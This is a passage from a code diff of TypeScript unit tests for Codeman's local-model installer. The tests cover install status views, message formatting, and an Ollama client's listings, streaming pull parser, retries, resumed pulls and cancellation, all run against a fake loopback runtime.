const { runtime: _runtime, ...early } = SAMPLE.installing;
|
||||
expect(buildInstallView(early, LIVE)).not.toHaveProperty('port');
|
||||
});
|
||||
|
||||
it('failed: the sentence, its slots, the one next step, the model to try next, and the raw detail', () => {
|
||||
const failed: LocalModelStateFile = {
|
||||
...SAMPLE.failed,
|
||||
step: 'verify',
|
||||
error: {
|
||||
code: 'no-tool-call',
|
||||
vars: { model: 'Qwen3.6 35B-A3B' },
|
||||
detail: 'finish_reason stop',
|
||||
nextModelId: 'gpt-oss:20b',
|
||||
},
|
||||
};
|
||||
const view = buildInstallView(failed, {
|
||||
...LIVE,
|
||||
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
|
||||
});
|
||||
expect(view.state).toBe('failed');
|
||||
expect(view.step).toBe('verify');
|
||||
expect(view.error).toEqual({
|
||||
code: 'no-tool-call',
|
||||
message: {
|
||||
text: '{model} loaded but did not call a tool, so a coding agent cannot work with it.',
|
||||
vars: { model: 'Qwen3.6 35B-A3B' },
|
||||
},
|
||||
next: 'next-model',
|
||||
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
|
||||
detail: 'finish_reason stop',
|
||||
});
|
||||
});
|
||||
|
||||
it('a failed job never says "Start": a code whose own next step is that says "Try again" there', () => {
|
||||
const state: LocalModelStateFile = { ...SAMPLE.failed, error: { code: 'runtime-stopped', detail: 'ECONNREFUSED' } };
|
||||
expect(buildInstallView(state, LIVE).error).toEqual({
|
||||
code: 'runtime-stopped',
|
||||
message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
|
||||
next: 'retry',
|
||||
detail: 'ECONNREFUSED',
|
||||
});
|
||||
// Every next step a failed job is shown with is one its actions can carry out.
|
||||
for (const code of Object.keys(LOCAL_MODEL_ERROR_NEXT) as LocalModelErrorCode[]) {
|
||||
const next = buildInstallView({ ...SAMPLE.failed, error: { code } }, LIVE).error?.next;
|
||||
expect(next, code).not.toBe('start');
|
||||
}
|
||||
});
|
||||
|
||||
it('a next model is named only for an error whose next step is another model', () => {
|
||||
const view = buildInstallView(SAMPLE.failed, {
|
||||
...LIVE,
|
||||
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
|
||||
});
|
||||
expect(view.error).toEqual({
|
||||
code: 'pull-failed',
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed },
|
||||
next: 'retry',
|
||||
detail: 'tls: bad record MAC',
|
||||
});
|
||||
});
|
||||
|
||||
it('installed: the facts of the Done line, the endpoint a session starts on, and no step', () => {
|
||||
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, runtimeInstalled: true, digest: 'same' });
|
||||
expect(view).toEqual({
|
||||
state: 'installed',
|
||||
running: true,
|
||||
developerTools: 'present',
|
||||
runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
actions: ['start-session', 'stop', 'remove'],
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
|
||||
context: 131072,
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
port: 11435,
|
||||
loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true },
|
||||
endpointId: 'local-ollama',
|
||||
});
|
||||
});
|
||||
|
||||
it('installed: what blocks a session is on the view and the state stays installed', () => {
|
||||
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' });
|
||||
expect(view.state).toBe('installed');
|
||||
expect(view.error?.code).toBe('model-changed');
|
||||
expect(view.actions).toEqual(['stop', 'remove']);
|
||||
});
|
||||
|
||||
it('a model that was not all on the GPU says so', () => {
|
||||
const view = buildInstallView(
|
||||
{ ...SAMPLE.installed, loaded: { ...LOADED, sizeVramBytes: 20_000_000_000 } },
|
||||
{ ...LIVE, running: true }
|
||||
);
|
||||
expect(view.loaded?.onGpu).toBe(false);
|
||||
});
|
||||
|
||||
it('every sentence it sends is one of the install labels', () => {
|
||||
const sentences = new Set<string>(Object.values(LOCAL_MODEL_INSTALL_LABELS));
|
||||
for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) {
|
||||
const error = buildInstallError(code, { vars: { model: 'M' } });
|
||||
expect(sentences.has(error.message.text)).toBe(true);
|
||||
expect(error.next).toBe(LOCAL_MODEL_ERROR_NEXT[code]);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('formatInstallMessage', () => {
|
||||
it('fills the slots of a sentence', () => {
|
||||
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe(
|
||||
'Port 11435 is in use by another program.'
|
||||
);
|
||||
expect(
|
||||
formatInstallMessage({
|
||||
text: LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied,
|
||||
vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' },
|
||||
})
|
||||
).toBe('Qwen3.6 35B-A3B loaded with a context of 32768 tokens instead of 131072.');
|
||||
});
|
||||
|
||||
it('leaves a sentence without slots, and a slot without a value, as they are', () => {
|
||||
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning })).toBe(
|
||||
'An install is already running.'
|
||||
);
|
||||
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse })).toBe(
|
||||
'Port {port} is in use by another program.'
|
||||
);
|
||||
// A slot name that is a member of every object is not a value.
|
||||
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: {} })).toContain('{port}');
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,950 @@
|
||||
/**
|
||||
* @fileoverview Tests for src/local-model/ollama-client.ts: what Codeman asks its own model
|
||||
* runtime, and the pure functions that read the answers.
|
||||
*
|
||||
* Laid out like the module:
|
||||
*
|
||||
* 1. The listings (`/api/version`, `/api/tags`, `/api/ps`, `/v1/models`, the delete), against
|
||||
* the fake runtime, and what each answers when nothing listens.
|
||||
* 2. The pull parser, pure: the two real line shapes fed in small pieces across line breaks, an
|
||||
* error line, a resumed pull, and that it keeps no line.
|
||||
* 3. `pullModel()` against the fake: the total it reports, progress, an error line and a cut
|
||||
* stream that are retried, the cap of 5 retries, a model the registry does not have (no
|
||||
* retry), a resumed pull, and Cancel.
|
||||
* 4. The check after the pull: the two request bodies, the two judges (pure), and
|
||||
* `verifyModel()` against the fake for every way it can end, the answer without a tool call
|
||||
* among them.
|
||||
*
|
||||
* Port: none fixed (the fake runtime listens on 0).
|
||||
*/
|
||||
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildChatProbeRequest,
|
||||
buildToolProbeRequest,
|
||||
createPullParser,
|
||||
deleteModel,
|
||||
getRuntimeVersion,
|
||||
judgeLoaded,
|
||||
judgeToolProbe,
|
||||
listOpenAiModels,
|
||||
listRunning,
|
||||
listTags,
|
||||
PULL_RETRIES,
|
||||
pullModel,
|
||||
readModelDigest,
|
||||
TOOL_PROBE_MAX_TOKENS,
|
||||
verifyModel,
|
||||
type OllamaPsModel,
|
||||
type OllamaTarget,
|
||||
type PullProgress,
|
||||
} from '../src/local-model/ollama-client.js';
|
||||
import {
|
||||
DEFAULT_FAKE_MODEL,
|
||||
freeLoopbackPort,
|
||||
REAL_PULL_ERROR_LINE,
|
||||
startFakeOllama,
|
||||
type FakeOllama,
|
||||
type FakeOllamaOptions,
|
||||
} from './fixtures/fake-ollama.js';
|
||||
|
||||
const MODEL = DEFAULT_FAKE_MODEL.id;
|
||||
const MODEL_BYTES = DEFAULT_FAKE_MODEL.bytes;
|
||||
const CONTEXT = 131072;
|
||||
|
||||
let fake: FakeOllama | undefined;
|
||||
|
||||
afterEach(async () => {
|
||||
await fake?.close();
|
||||
fake = undefined;
|
||||
});
|
||||
|
||||
/** Starts the fake and returns the target that points at it. */
|
||||
async function runtime(options: FakeOllamaOptions = {}): Promise<{ fake: FakeOllama; target: OllamaTarget }> {
|
||||
fake = await startFakeOllama(options);
|
||||
return { fake, target: { baseUrl: fake.baseUrl } };
|
||||
}
|
||||
|
||||
/** A target nothing listens on. */
|
||||
async function deadTarget(): Promise<OllamaTarget> {
|
||||
return { baseUrl: `http://127.0.0.1:${await freeLoopbackPort()}` };
|
||||
}
|
||||
|
||||
/** No waiting between retries. */
|
||||
const noSleep = async (): Promise<void> => undefined;
|
||||
|
||||
// ---------- 1. Listings ----------
|
||||
|
||||
describe('the listings', () => {
|
||||
it('reads the version of a runtime', async () => {
|
||||
const { target } = await runtime();
|
||||
expect(await getRuntimeVersion(target)).toBe('0.40.15');
|
||||
});
|
||||
|
||||
it('answers undefined for a port nothing listens on, and for a listener that is no runtime', async () => {
|
||||
expect(await getRuntimeVersion(await deadTarget())).toBeUndefined();
|
||||
// Something answers, but not with a version.
|
||||
const notARuntime: OllamaTarget = {
|
||||
baseUrl: 'http://127.0.0.1:1',
|
||||
fetch: async () => new Response('<html>hello</html>', { status: 200 }),
|
||||
};
|
||||
expect(await getRuntimeVersion(notARuntime)).toBeUndefined();
|
||||
const wrongShape: OllamaTarget = {
|
||||
baseUrl: 'http://127.0.0.1:1',
|
||||
fetch: async () => new Response(JSON.stringify({ version: 42 }), { status: 200 }),
|
||||
};
|
||||
expect(await getRuntimeVersion(wrongShape)).toBeUndefined();
|
||||
const refused: OllamaTarget = {
|
||||
baseUrl: 'http://127.0.0.1:1',
|
||||
fetch: async () => new Response(JSON.stringify({ version: '0.40.15' }), { status: 503 }),
|
||||
};
|
||||
expect(await getRuntimeVersion(refused)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('lists the model on disk with what a Mac reports: size, digest, format, runner', async () => {
|
||||
const { target } = await runtime({ installed: true });
|
||||
expect(await listTags(target)).toEqual([
|
||||
{
|
||||
name: 'qwen3.6:35b-a3b',
|
||||
size: 23_105_798_956,
|
||||
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
|
||||
format: 'safetensors',
|
||||
runner: 'mlx',
|
||||
capabilities: ['completion', 'vision', 'tools', 'thinking'],
|
||||
},
|
||||
]);
|
||||
expect(await readModelDigest(target, MODEL)).toBe(DEFAULT_FAKE_MODEL.digest);
|
||||
expect(await readModelDigest(target, 'qwen3.5:9b')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('stores a digest in one form: lowercase hex without the prefix', async () => {
|
||||
const target: OllamaTarget = {
|
||||
baseUrl: 'http://127.0.0.1:1',
|
||||
fetch: async () =>
|
||||
new Response(JSON.stringify({ models: [{ name: MODEL, size: 1, digest: 'sha256:0CE5FF81' }] }), {
|
||||
status: 200,
|
||||
}),
|
||||
};
|
||||
expect(await readModelDigest(target, MODEL)).toBe('0ce5ff81');
|
||||
});
|
||||
|
||||
it('lists nothing on an empty store, and reads the "data: null" of the OpenAI route as no model', async () => {
|
||||
const { target } = await runtime();
|
||||
expect(await listTags(target)).toEqual([]);
|
||||
expect(await listRunning(target)).toEqual([]);
|
||||
expect(await listOpenAiModels(target)).toEqual([]);
|
||||
expect(await readModelDigest(target, MODEL)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('lists the model ids of the OpenAI route exactly as they are listed', async () => {
|
||||
const { target } = await runtime({ installed: true });
|
||||
expect(await listOpenAiModels(target)).toEqual(['qwen3.6:35b-a3b']);
|
||||
});
|
||||
|
||||
it('lists a loaded model with its memory, the part on the GPU and its context', async () => {
|
||||
const { fake: server, target } = await runtime({ installed: true });
|
||||
expect(await listRunning(target)).toEqual([]);
|
||||
server.state.loaded = true;
|
||||
expect(await listRunning(target)).toEqual([
|
||||
{
|
||||
name: 'qwen3.6:35b-a3b',
|
||||
size: 23_205_798_956,
|
||||
sizeVram: 23_205_798_956,
|
||||
contextLength: 131072,
|
||||
digest: DEFAULT_FAKE_MODEL.digest,
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it('answers an empty list, never an exception, when nothing listens', async () => {
|
||||
const target = await deadTarget();
|
||||
expect(await listTags(target)).toEqual([]);
|
||||
expect(await listRunning(target)).toEqual([]);
|
||||
expect(await listOpenAiModels(target)).toEqual([]);
|
||||
expect(await readModelDigest(target, MODEL)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('skips rows that are not models instead of failing on them', async () => {
|
||||
const target: OllamaTarget = {
|
||||
baseUrl: 'http://127.0.0.1:1',
|
||||
fetch: async () =>
|
||||
new Response(JSON.stringify({ models: [null, 'x', {}, { name: 'a:b' }, { model: 'c:d', size: -1 }] }), {
|
||||
status: 200,
|
||||
}),
|
||||
};
|
||||
expect(await listTags(target)).toEqual([
|
||||
{ name: 'a:b', size: 0, digest: '' },
|
||||
{ name: 'c:d', size: 0, digest: '' },
|
||||
]);
|
||||
// A row without a digest has none to compare.
|
||||
expect(await readModelDigest(target, 'a:b')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('deletes a model, and calls a model that never was there gone too', async () => {
|
||||
const { fake: server, target } = await runtime({ installed: true });
|
||||
expect(await deleteModel(target, MODEL)).toBe(true);
|
||||
expect(server.requests.at(-1)).toMatchObject({ method: 'DELETE', path: '/api/delete', body: { model: MODEL } });
|
||||
expect(await listTags(target)).toEqual([]);
|
||||
// The runtime answers 404 for it now.
|
||||
expect(await deleteModel(target, MODEL)).toBe(true);
|
||||
// No runtime: nothing was deleted, and it says so.
|
||||
expect(await deleteModel(await deadTarget(), MODEL)).toBe(false);
|
||||
});
|
||||
|
||||
it('gives up on a listing when the caller aborts', async () => {
|
||||
const { target } = await runtime({ installed: true });
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
expect(await listTags(target, controller.signal)).toEqual([]);
|
||||
expect(await getRuntimeVersion(target, controller.signal)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- 2. The pull parser ----------
|
||||
|
||||
describe('createPullParser', () => {
|
||||
const mlxLine = (completed: number): string =>
|
||||
JSON.stringify({ status: 'pulling model', digest: 'sha256:model', total: MODEL_BYTES, completed });
|
||||
|
||||
it('adds up the line shape of an MLX build', () => {
|
||||
const parser = createPullParser();
|
||||
parser.push('{"status":"pulling manifest"}\n');
|
||||
expect(parser.snapshot()).toEqual({
|
||||
completedBytes: 0,
|
||||
totalBytes: 0,
|
||||
status: 'pulling manifest',
|
||||
succeeded: false,
|
||||
lines: 1,
|
||||
});
|
||||
parser.push(`${mlxLine(0)}\n${mlxLine(6_200_000_000)}\n`);
|
||||
expect(parser.snapshot()).toMatchObject({ completedBytes: 6_200_000_000, totalBytes: 23_105_798_956, lines: 3 });
|
||||
parser.push(`${mlxLine(MODEL_BYTES)}\n{"status":"writing manifest"}\n{"status":"success"}\n`);
|
||||
parser.end();
|
||||
expect(parser.snapshot()).toEqual({
|
||||
completedBytes: 23_105_798_956,
|
||||
totalBytes: 23_105_798_956,
|
||||
status: 'success',
|
||||
succeeded: true,
|
||||
lines: 6,
|
||||
});
|
||||
});
|
||||
|
||||
it('reads the same stream whatever the size of the pieces, also across line breaks', () => {
|
||||
const stream =
|
||||
['{"status":"pulling manifest"}', mlxLine(0), mlxLine(1_000), mlxLine(999_999_999), mlxLine(MODEL_BYTES)].join(
|
||||
'\n'
|
||||
) + '\n{"status":"writing manifest"}\n{"status":"success"}\n';
|
||||
const whole = createPullParser();
|
||||
whole.push(stream);
|
||||
whole.end();
|
||||
const expected = whole.snapshot();
|
||||
expect(expected).toMatchObject({ succeeded: true, completedBytes: MODEL_BYTES, lines: 7 });
|
||||
|
||||
for (const size of [1, 2, 3, 5, 7, 13, 64, 1000]) {
|
||||
const parser = createPullParser();
|
||||
for (let at = 0; at < stream.length; at += size) parser.push(stream.slice(at, at + size));
|
||||
parser.end();
|
||||
expect(parser.snapshot(), `pieces of ${size}`).toEqual(expected);
|
||||
}
|
||||
// And as bytes, one at a time: what a socket may really deliver.
|
||||
const bytes = new TextEncoder().encode(stream);
|
||||
const parser = createPullParser();
|
||||
for (const byte of bytes) parser.push(Uint8Array.of(byte));
|
||||
parser.end();
|
||||
expect(parser.snapshot()).toEqual(expected);
|
||||
});
|
||||
|
||||
it('survives a character of several bytes that is split between two pieces', () => {
|
||||
const bytes = new TextEncoder().encode('{"status":"lädt Manifest ✓"}\n{"status":"success"}\n');
|
||||
for (let cut = 1; cut < bytes.length; cut++) {
|
||||
const parser = createPullParser();
|
||||
parser.push(bytes.subarray(0, cut));
|
||||
parser.push(bytes.subarray(cut));
|
||||
parser.end();
|
||||
expect(parser.snapshot(), `cut at ${cut}`).toMatchObject({ succeeded: true, lines: 2 });
|
||||
}
|
||||
const parser = createPullParser();
|
||||
parser.push(bytes.subarray(0, 14));
|
||||
parser.push(bytes.subarray(14));
|
||||
expect(parser.snapshot().lines).toBe(2);
|
||||
});
|
||||
|
||||
it('adds up the layers of a GGUF build, each announced without "completed" first', () => {
|
||||
const parser = createPullParser();
|
||||
const big = { status: 'pulling c5396e06af29', digest: 'sha256:c5396e06af29aaaa', total: 397_807_936 };
|
||||
const small = { status: 'pulling 66b9ea09bd5b', digest: 'sha256:66b9ea09bd5bbbbb', total: 68 };
|
||||
parser.push(`${JSON.stringify(big)}\n`);
|
||||
// Known, nothing downloaded yet.
|
||||
expect(parser.snapshot()).toMatchObject({ totalBytes: 397_807_936, completedBytes: 0 });
|
||||
parser.push(`${JSON.stringify({ ...big, completed: 100_000_000 })}\n`);
|
||||
parser.push(`${JSON.stringify(small)}\n`);
|
||||
// The total grows when a new layer appears; a line without "completed" keeps what was seen.
|
||||
parser.push(`${JSON.stringify(big)}\n`);
|
||||
expect(parser.snapshot()).toMatchObject({ totalBytes: 397_808_004, completedBytes: 100_000_000 });
|
||||
parser.push(`${JSON.stringify({ ...big, completed: 397_807_936 })}\n`);
|
||||
parser.push(`${JSON.stringify({ ...small, completed: 68 })}\n`);
|
||||
parser.push('{"status":"verifying sha256 digest"}\n{"status":"writing manifest"}\n{"status":"success"}\n');
|
||||
expect(parser.snapshot()).toEqual({
|
||||
completedBytes: 397_808_004,
|
||||
totalBytes: 397_808_004,
|
||||
status: 'success',
|
||||
succeeded: true,
|
||||
lines: 9,
|
||||
});
|
||||
});
|
||||
|
||||
it('reads a resumed pull from where it starts, not from zero', () => {
|
||||
const parser = createPullParser();
|
||||
parser.push(`{"status":"pulling manifest"}\n${mlxLine(11_000_000_000)}\n`);
|
||||
expect(parser.snapshot()).toMatchObject({ completedBytes: 11_000_000_000, totalBytes: MODEL_BYTES });
|
||||
});
|
||||
|
||||
it('keeps the text of an error line, the real one included', () => {
|
||||
const parser = createPullParser();
|
||||
parser.push(`{"status":"pulling manifest"}\n${mlxLine(5)}\n${REAL_PULL_ERROR_LINE}\n`);
|
||||
parser.end();
|
||||
expect(parser.snapshot()).toEqual({
|
||||
completedBytes: 5,
|
||||
totalBytes: MODEL_BYTES,
|
||||
status: 'pulling model',
|
||||
succeeded: false,
|
||||
error: 'max retries exceeded: local error: tls: bad record MAC',
|
||||
lines: 3,
|
||||
});
|
||||
// The first error stays.
|
||||
parser.push('{"error":"another"}\n');
|
||||
expect(parser.snapshot().error).toBe('max retries exceeded: local error: tls: bad record MAC');
|
||||
});
|
||||
|
||||
it('reads a last line that has no line break only when the body ends', () => {
|
||||
const parser = createPullParser();
|
||||
parser.push('{"status":"success"}');
|
||||
expect(parser.snapshot()).toMatchObject({ succeeded: false, lines: 0 });
|
||||
parser.end();
|
||||
expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 1 });
|
||||
});
|
||||
|
||||
it('skips a line that is not JSON and still counts it; a blank line is no line', () => {
|
||||
const parser = createPullParser();
|
||||
parser.push('not json\n\n \n[1,2]\n"text"\nnull\n{"status":"success"}\n');
|
||||
expect(parser.snapshot()).toEqual({
|
||||
completedBytes: 0,
|
||||
totalBytes: 0,
|
||||
status: 'success',
|
||||
succeeded: true,
|
||||
lines: 5,
|
||||
});
|
||||
});
|
||||
|
||||
it('never lets "completed" pass "total", and ignores sizes that are no byte counts', () => {
|
||||
const parser = createPullParser();
|
||||
parser.push('{"status":"pulling a","digest":"sha256:a","total":100,"completed":250}\n');
|
||||
parser.push('{"status":"pulling b","digest":"sha256:b","total":-5,"completed":1}\n');
|
||||
parser.push('{"status":"pulling c","digest":"sha256:c","total":"100","completed":1}\n');
|
||||
expect(parser.snapshot()).toMatchObject({ completedBytes: 100, totalBytes: 100 });
|
||||
});
|
||||
|
||||
it('keeps no line: a million progress lines leave it as small as ten', () => {
|
||||
// What it holds is one entry per layer and the unfinished line. Proven by its answers: the
|
||||
// totals are those of the LAST line of each layer, and the count is every line.
|
||||
const parser = createPullParser();
|
||||
const lines = 200_000;
|
||||
let block = '';
|
||||
for (let i = 1; i <= lines; i++) {
|
||||
block += `${mlxLine(i * 1000)}\n`;
|
||||
if (i % 5000 === 0) {
|
||||
parser.push(block);
|
||||
block = '';
|
||||
}
|
||||
}
|
||||
parser.end();
|
||||
expect(parser.snapshot()).toEqual({
|
||||
completedBytes: lines * 1000,
|
||||
totalBytes: MODEL_BYTES,
|
||||
status: 'pulling model',
|
||||
succeeded: false,
|
||||
lines,
|
||||
});
|
||||
});
|
||||
|
||||
it('drops a "line" that never ends instead of buffering it', () => {
|
||||
const parser = createPullParser();
|
||||
// Three megabytes without a line break, then the stream goes on normally.
|
||||
for (let i = 0; i < 3; i++) parser.push('x'.repeat(1024 * 1024));
|
||||
parser.push('tail of the endless line\n{"status":"success"}\n');
|
||||
expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 2 });
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- 3. pullModel ----------
|
||||
|
||||
describe('pullModel', () => {
|
||||
it('pulls the model and reports the total of the pull itself', async () => {
|
||||
const { fake: server, target } = await runtime();
|
||||
const seen: PullProgress[] = [];
|
||||
const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress) });
|
||||
expect(result).toEqual({ ok: true, totalBytes: 23_105_798_956 });
|
||||
expect(server.state.installed).toBe(true);
|
||||
expect(server.requests.filter((r) => r.path === '/api/pull')).toEqual([
|
||||
expect.objectContaining({ method: 'POST', body: { model: MODEL, stream: true } }),
|
||||
]);
|
||||
// The last report is the finished pull, and no report runs backwards.
|
||||
expect(seen.at(-1)).toMatchObject({ completedBytes: MODEL_BYTES, totalBytes: MODEL_BYTES });
|
||||
for (let i = 1; i < seen.length; i++) {
|
||||
expect(seen[i].completedBytes).toBeGreaterThanOrEqual(seen[i - 1].completedBytes);
|
||||
}
|
||||
for (const progress of seen) expect(progress.totalBytes).toBe(MODEL_BYTES);
|
||||
});
|
||||
|
||||
it('adds up the layers of a GGUF pull to the same total', async () => {
|
||||
const { target } = await runtime({ pull: { shape: 'gguf', progressLines: 6 } });
|
||||
expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES });
|
||||
});
|
||||
|
||||
it('reports a speed from the clock it is given', async () => {
|
||||
const { target } = await runtime({ pull: { progressLines: 8, lineDelayMs: 5 } });
|
||||
const seen: PullProgress[] = [];
|
||||
let clock = 0;
|
||||
const result = await pullModel(target, MODEL, {
|
||||
onProgress: (progress) => seen.push(progress),
|
||||
// One second passes between two looks at the clock.
|
||||
now: () => (clock += 1000),
|
||||
});
|
||||
expect(result.ok).toBe(true);
|
||||
const speeds = seen.flatMap((progress) => (progress.bytesPerSecond === undefined ? [] : [progress.bytesPerSecond]));
|
||||
expect(speeds.length).toBeGreaterThan(0);
|
||||
for (const speed of speeds) {
|
||||
expect(Number.isInteger(speed)).toBe(true);
|
||||
expect(speed).toBeGreaterThanOrEqual(0);
|
||||
}
|
||||
// The first report has nothing to compare with.
|
||||
expect(seen[0].bytesPerSecond).toBeUndefined();
|
||||
expect(Math.max(...speeds)).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('starts again after an error line, and the new pull continues where the last one stopped', async () => {
|
||||
const { fake: server, target } = await runtime({
|
||||
pull: { fail: 'error-line', failTimes: 2, failAfterLines: 10, progressLines: 20 },
|
||||
});
|
||||
const waits: number[] = [];
|
||||
const firstOfEachPull: number[] = [];
|
||||
let last = -1;
|
||||
const result = await pullModel(target, MODEL, {
|
||||
sleep: async (ms) => {
|
||||
waits.push(ms);
|
||||
last = -1;
|
||||
},
|
||||
onProgress: (progress) => {
|
||||
if (last === -1) firstOfEachPull.push(progress.completedBytes);
|
||||
last = progress.completedBytes;
|
||||
},
|
||||
});
|
||||
expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
|
||||
// Two failures, then the one that succeeded.
|
||||
expect(server.state.pulls).toBe(3);
|
||||
// It waits before each retry, longer every time.
|
||||
expect(waits).toEqual([1000, 2000]);
|
||||
// The second and third pull do not start at zero.
|
||||
expect(firstOfEachPull).toHaveLength(3);
|
||||
expect(firstOfEachPull[1]).toBeGreaterThan(0);
|
||||
expect(firstOfEachPull[2]).toBeGreaterThan(firstOfEachPull[1]);
|
||||
});
|
||||
|
||||
it('starts again after a stream that was cut without a word', async () => {
|
||||
const { fake: server, target } = await runtime({ pull: { fail: 'cut', failTimes: 1 } });
|
||||
expect(await pullModel(target, MODEL, { sleep: noSleep })).toEqual({ ok: true, totalBytes: MODEL_BYTES });
|
||||
expect(server.state.pulls).toBe(2);
|
||||
});
|
||||
|
||||
it('gives up after 5 retries, with the error the runtime gave', async () => {
|
||||
expect(PULL_RETRIES).toBe(5);
|
||||
const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } });
|
||||
const waits: number[] = [];
|
||||
const result = await pullModel(target, MODEL, { sleep: async (ms) => void waits.push(ms) });
|
||||
expect(result).toEqual({
|
||||
ok: false,
|
||||
code: 'pull-failed',
|
||||
detail: 'max retries exceeded: local error: tls: bad record MAC',
|
||||
});
|
||||
// The first pull and five more.
|
||||
expect(server.state.pulls).toBe(6);
|
||||
expect(waits).toEqual([1000, 2000, 4000, 8000, 16000]);
|
||||
expect(server.state.installed).toBe(false);
|
||||
});
|
||||
|
||||
it('gives up on a stream that is cut every time, and says that it ended early', async () => {
|
||||
const { fake: server, target } = await runtime({ pull: { fail: 'cut' } });
|
||||
const result = await pullModel(target, MODEL, { sleep: noSleep, retries: 2 });
|
||||
expect(result).toMatchObject({ ok: false, code: 'pull-failed' });
|
||||
expect((result as { detail?: string }).detail).toBeTruthy();
|
||||
expect(server.state.pulls).toBe(3);
|
||||
});
|
||||
|
||||
it('does not retry when 0 retries are asked for, and falls back to 5 for a nonsense count', async () => {
|
||||
const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } });
|
||||
expect(await pullModel(target, MODEL, { sleep: noSleep, retries: 0 })).toMatchObject({ code: 'pull-failed' });
|
||||
expect(server.state.pulls).toBe(1);
|
||||
await pullModel(target, MODEL, { sleep: noSleep, retries: -3 });
|
||||
expect(server.state.pulls).toBe(1 + 6);
|
||||
});
|
||||
|
||||
it('does not ask again for a model the registry does not have', async () => {
|
||||
const { fake: server, target } = await runtime({ pull: { fail: 'not-found' } });
|
||||
const result = await pullModel(target, MODEL, { sleep: noSleep });
|
||||
expect(result).toEqual({
|
||||
ok: false,
|
||||
code: 'model-not-found',
|
||||
detail: 'pull model manifest: file does not exist',
|
||||
});
|
||||
expect(server.state.pulls).toBe(1);
|
||||
});
|
||||
|
||||
it('does not ask again when the disk is full', async () => {
|
||||
const target: OllamaTarget = {
|
||||
baseUrl: 'http://127.0.0.1:1',
|
||||
fetch: async () =>
|
||||
new Response(
|
||||
'{"status":"pulling manifest"}\n{"error":"write /models/blobs/sha256-abc-partial: no space left on device"}\n',
|
||||
{ status: 200 }
|
||||
),
|
||||
};
|
||||
let asked = 0;
|
||||
const counting: OllamaTarget = {
|
||||
...target,
|
||||
fetch: (...args) => {
|
||||
asked += 1;
|
||||
return (target.fetch as typeof fetch)(...args);
|
||||
},
|
||||
};
|
||||
expect(await pullModel(counting, MODEL, { sleep: noSleep })).toMatchObject({ ok: false, code: 'disk-full' });
|
||||
expect(asked).toBe(1);
|
||||
});
|
||||
|
||||
it('retries, then fails, when no runtime answers at all', async () => {
|
||||
const waits: number[] = [];
|
||||
const result = await pullModel(await deadTarget(), MODEL, { sleep: async (ms) => void waits.push(ms), retries: 2 });
|
||||
expect(result).toMatchObject({ ok: false, code: 'pull-failed' });
|
||||
expect(waits).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('continues a pull that an earlier run left unfinished', async () => {
|
||||
const { target } = await runtime({ pull: { resumeFrom: 11_000_000_000 } });
|
||||
const seen: number[] = [];
|
||||
const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress.completedBytes) });
|
||||
expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
|
||||
// The first figure the window shows is where the earlier run stopped.
|
||||
expect(seen[0]).toBeGreaterThanOrEqual(11_000_000_000);
|
||||
});
|
||||
|
||||
it('reports the size of a model that was complete already, when the pull names no layer', async () => {
|
||||
// A runtime that answers "success" at once: the size is what it lists for the model.
|
||||
const { fake: server } = await runtime({ installed: true });
|
||||
const target: OllamaTarget = {
|
||||
baseUrl: server.baseUrl,
|
||||
fetch: async (input, init) =>
|
||||
String(input).endsWith('/api/pull')
|
||||
? new Response('{"status":"pulling manifest"}\n{"status":"success"}\n', { status: 200 })
|
||||
: fetch(input, init),
|
||||
};
|
||||
expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES });
|
||||
});
|
||||
|
||||
it('stops the download when the caller cancels, and does not start again', async () => {
|
||||
const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } });
|
||||
const controller = new AbortController();
|
||||
